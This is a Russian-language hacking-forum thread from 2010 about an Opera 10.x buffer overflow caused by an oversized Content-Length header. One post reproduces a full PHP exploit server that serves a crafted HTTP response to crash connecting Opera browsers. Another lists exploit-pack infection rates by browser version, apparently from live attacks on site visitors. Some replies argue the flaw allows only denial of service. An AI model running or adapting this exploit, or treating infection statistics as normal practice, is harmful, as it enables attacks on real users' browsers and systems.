ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Opera 10.x
  #1  
Старый 06.03.2010, 23:02
Аватар для root_sashok
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию Opera 10.x

В браузере Opera версий 10.x обнаружена высокоопасная уязвимость, позволяющая удаленному пользователю скомпрометировать целевую систему, а именно аварийно завершить работу браузера или выполнить произвольный код на системе с привилегиями пользователя, запустившего браузер Opera.

Уязвимость вызвана ошибкой переполнения буфера в результате ошибки при обработке HTTP ответов, содержащих специально сформированный HTTP заголовок Content-Length. Злоумышленник может, послав слишком длинное значение Content-Length, вызвать переполнение динамической памяти и, как следствие, выполнить произвольный код на удаленной системе с привилегиями пользователя или же аварийно завершить работу браузера.

В настоящее время способов устранения ошибки не существует. Рекомендуется или вовсе не посещать незнакомые сайты через Opera 10.x, или же посещать, но с пониженными привилегиями.

©

Любопытная тема.
 
Ответить с цитированием

  #2  
Старый 06.03.2010, 23:18
Аватар для BrainDeaD
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию

сплоит:
PHP код:
<?php
  
if(strtolower(substr($_ENV['OS'],0,3)) == "win"define('OS','win');
  else 
define('OS','nix');
     if(!
extension_loaded('php_sockets'))
     { 
        if((
OS == 'win') && (!@dl('php_sockets.dll')) ||
          ((
OS == 'nix') && (!@dl('php_sockets.so'))))
            die(
'fatal php_sockets.[dll/so] '.
                
'not loaded '."\r\n");            //.__line__.' '.__file__."\r\n");                                                   
     
}
  
/*Generated by my own fuzzer*/ 
  
$EVIL 'HTTP/1.1 200 ok'."\r\n".
          
'Transfer-Encoding: identity'."\r\n".
          
'Date: thu 28 dec 2003 12:4:33 gmt'."\r\n".
          
'Server: moj zuy server'."\r\n".
          
'Set-Cookie: psid=d6dd02e9957fb162d2385ca6f2829a73;path=C:/'."\r\n".
          
'Content-Location: file://C:/boot.ini'."\r\n".
          
'Vary:negotiate,accept-language,accept-charset'."\r\n".
          
'Tcn: choice'."\r\n".
          
'Last-modified: sun,21 nov 2010 22:22:22 gmt'."\r\n".
          
'Etag: "3861-5c6-1b28fa80;386a-9dc-1b28fa80"'."\r\n".
          
'Accept-Ranges: bytes'."\r\n".
          
'Cache-Control: max-age=0'."\r\n".
          
'Expires: mon, 22 feb 2010 18:31:20 gmt'."\r\n".
          
'Content-Encoding: identity'."\r\n".
          
'Content-Length:9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999666'."\r\n".
          
'Via: 1.1 cache.zuo.pl:3128 (squid/2.7.stable6)'."\r\n".
          
'Keep-Alive: timeout=15, max=300'."\r\n".
          
'Connection: keep-alive'."\r\n".
          
'Content-Type: text/html; charset=iso-8859-2'."\r\n".
          
'Age: 1'."\r\n".
          
'Allow: GET,HEAD'."\r\n".
          
'Content-Disposition: inline'."\r\n".
          
'Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ=='."\r\n".
          
'Warning: 199 Miscellaneous warning'."\r\n".
          
'Trailer: Max-Forwards'."\r\n".
          
'Location: chrome://inspector/content/viewers/dom/dom.xul'."\r\n".
          
'Content-Range: bytes 21010-47021/47022'."\r\n".
          
'Content-Language: pl'."\r\n\r\n".
          
'<html><head></head><body style="background-color:red;color:white;text-align:center;"><b>seq_end</b><script>location.href="http://swswqosksqowkd";</script></body></html>';
  
$buster $argc 1;
  
//use -port 666 if you need
  
for($i 0$i<=$buster$i+=2)
  {
      if((
'-port' == $argv[$i]) && ((int)$argv[$i 1] > 0)) $PORT $argv[$i 1];
      else 
$PORT 81;
  }                                                                                                                                              
  if(!(
$SOCKET socket_create_listen($PORT)))
                 die(
'fatal socket init failed'."\r\n");
  
socket_set_option($SOCKET,SOL_SOCKET,
                            
SO_RCVTIMEO,array("sec"=>3,"usec"=>0));   
  echo(
'SOCKET READY AT PORT '.$PORT."\r\n".
       
'Now connect here via opera'."\r\n");                                  
  if(
$CONNECT socket_accept($SOCKET))
  {
                
$recv_buffer null;
                echo(
'Connection ok '."\r\n");
                if(
socket_recv($CONNECT,$recv_buffer,8,/*msg_dontwait*/MSG_WAITALL)) 
                {
                                if(!@
socket_write($CONNECT,$EVIL))
                                {
                                    
socket_close($CONNECT);
                                    
socket_close($SOCKET);     
                                    die(
'I cant send payload !'."\r\n");
                                }    
                }
                else echo(
'Something wrong with client side'."\r\n");
                
usleep(120000);
                
socket_close($CONNECT);
                
socket_close($SOCKET);                                                                
  }             
  echo(
'OK ya browser must be death now'."\r\n".
       
'Have a nice day lol'."\r\n");  
?>
автор: Marcin Ressel aka ~echo.
источник: securitylab.ru
 
Ответить с цитированием

  #3  
Старый 06.03.2010, 23:32
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Код:
 Chrome 3.0	5	2	40
 Chrome 4.0	72	14	19.44
 Chrome 4.1	1	0	0
 Chrome 5.0	4	1	25
 FireFox 3.0.18	50	0	0
 FireFox 3.0.3	4	0	0
 FireFox 3.0.4	2	0	0
 FireFox 3.0.5	4	0	0
 FireFox 3.0.6	10	0	0
 FireFox 3.5.5	17	1	5.88
 FireFox 3.5.6	6	0	0
 FireFox 3.5.7	18	2	11.11
 FireFox 3.5.8	250	7	2.8
 FireFox 3.6	150	8	5.33
 MSIE 6.0	242	92	38.02
 MSIE 7.0	371	66	17.79
 MSIE 8.0	362	64	17.68
 Opera 10.00	4	0	0
 Opera 10.10	1	0	0
 Opera 8.52	1	0	0
 Opera 9.10	1	0	0
 Opera 9.20	5	0	0
 Opera 9.21	8	1	12.5
 Opera 9.22	7	2	28.57
 Opera 9.23	11	5	45.45
 Opera 9.24	4	3	75
 Opera 9.25	7	2	28.57
 Opera 9.26	8	0	0
 Opera 9.27	26	1	3.85
 Opera 9.5	1	0	0
 Opera 9.50	13	1	7.69
 Opera 9.51	21	2	9.52
 Opera 9.52	24	4	16.67
 Opera 9.60	16	2	12.5
 Opera 9.61	1	0	0
 Opera 9.62	18	1	5.56
 Opera 9.63	40	5	12.5
 Opera 9.64	82	4	4.88
 Opera 9.80	569	55	9.67
нет неуязвимых браузеров, но осел как всегда на высоте
 
Ответить с цитированием

  #4  
Старый 06.03.2010, 23:40
Аватар для root_sashok
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию

Что-то у Opera 9.80 сильный пробив. Не ожидал.
 
Ответить с цитированием

  #5  
Старый 06.03.2010, 23:42
Аватар для BrainDeaD
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию

и всётаки опера по статистике самая безопасная (не считая более старые версии)
 
Ответить с цитированием

  #6  
Старый 06.03.2010, 23:44
Аватар для root_sashok
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию

Официальные источники уверяют, что 10.50 уже не exploitable. Надо будет проверить, а пока — Safari.
 
Ответить с цитированием

  #7  
Старый 06.03.2010, 23:45
Аватар для CardQ
CardQ
Banned
Регистрация: 27.12.2009
Сообщений: 31
Провел на форуме:
522218

Репутация: 29
По умолчанию

Chrome 4.0 72 14 19.44
А что за сплойт под хром?
 
Ответить с цитированием

  #8  
Старый 07.03.2010, 02:26
Аватар для ntldr
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме:
2364957

Репутация: 479
По умолчанию

удаленный код через эту уязвимость выполнить невозможно
 
Ответить с цитированием

  #9  
Старый 07.03.2010, 17:04
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

А

Цитата:
Версия:
10.00

Сборка:
1750
пробивает?

PS новости уже неделя где-то, они что до сих пор не залатали дырку?
 
Ответить с цитированием

  #10  
Старый 07.03.2010, 17:21
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

плоент не актуален - only dos + мою последнюю 10.5 build 3296 не пробило
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Opera Mini 5 beta – мобильный Java-браузер не хуже настольных root_sashok Мировые новости 61 06.12.2009 04:15
Opera Mobile 10 для смартфонов на S60 Evgeniy NN Мировые новости 12 10.11.2009 16:31
Opera предствила новую веб-технологию Unite Suicide Мировые новости 7 18.06.2009 01:09
Мобильные браузеры Skyfire 1.0 и Opera Mobile 9.7 jerrri Мировые новости 0 10.06.2009 18:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ